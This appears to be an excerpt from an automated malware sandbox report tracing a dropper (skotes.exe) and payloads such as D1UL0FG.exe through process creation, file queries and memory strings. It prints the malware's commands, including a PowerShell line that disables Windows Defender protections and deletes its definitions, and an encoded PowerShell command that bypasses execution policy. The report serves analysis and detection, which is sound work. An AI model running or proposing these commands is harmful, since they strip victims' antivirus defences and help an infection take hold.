Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab

Source: m9sfEU9.exe, 00000051.00000003.2634727930.0000000003045000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000055.00000002.7286857048.0000000011193000.00000002.00000001.01000000.00000023.sdmp	Binary or memory string: Shell_TrayWndunhandled plugin data, id=%d
Source: skotes.exe, skotes.exe, 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000059.00000002.2801126317.00000000008CD000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: I4Program Manager
Source: m9sfEU9.exe, 00000051.00000003.2634727930.0000000003045000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000055.00000002.7286857048.0000000011193000.00000002.00000001.01000000.00000023.sdmp	Binary or memory string: Shell_TrayWnd
Source: m9sfEU9.exe, 00000051.00000003.2634727930.0000000003045000.00000004.00000020.00020000.00000000.sdmp, FuturreApp.exe, 00000055.00000002.7286857048.0000000011193000.00000002.00000001.01000000.00000023.sdmp	Binary or memory string: Progman

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 3_2_006ADD91 cpuid

3_2_006ADD91

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017901001\a4439a2887.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017901001\a4439a2887.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017902001\82191c1fe1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017903001\cb947ba4b8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017903001\cb947ba4b8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017904001\97bf9e137e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017904001\97bf9e137e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017905001\4dd01d90fc.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017905001\4dd01d90fc.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017906001\3b81e6737d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017906001\3b81e6737d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017907001\90ddd682ad.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017907001\90ddd682ad.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017908001\2c36247645.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017908001\2c36247645.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017909001\f8645e1e85.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017909001\f8645e1e85.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017910001\fde98a8d0b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017910001\fde98a8d0b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017911001\67fbb282d1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017911001\67fbb282d1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017912001\f7b3852b06.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017912001\f7b3852b06.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017913001\97d4b1071f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017913001\97d4b1071f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017914001\db75e03f4b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017914001\db75e03f4b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017915001\712b285aaa.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017915001\712b285aaa.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\_ctypes.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\libcrypto-1_1.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\libffi-7.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\rar.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\rarreg.key VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\VCRUNTIME140.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\_decimal.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\_socket.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
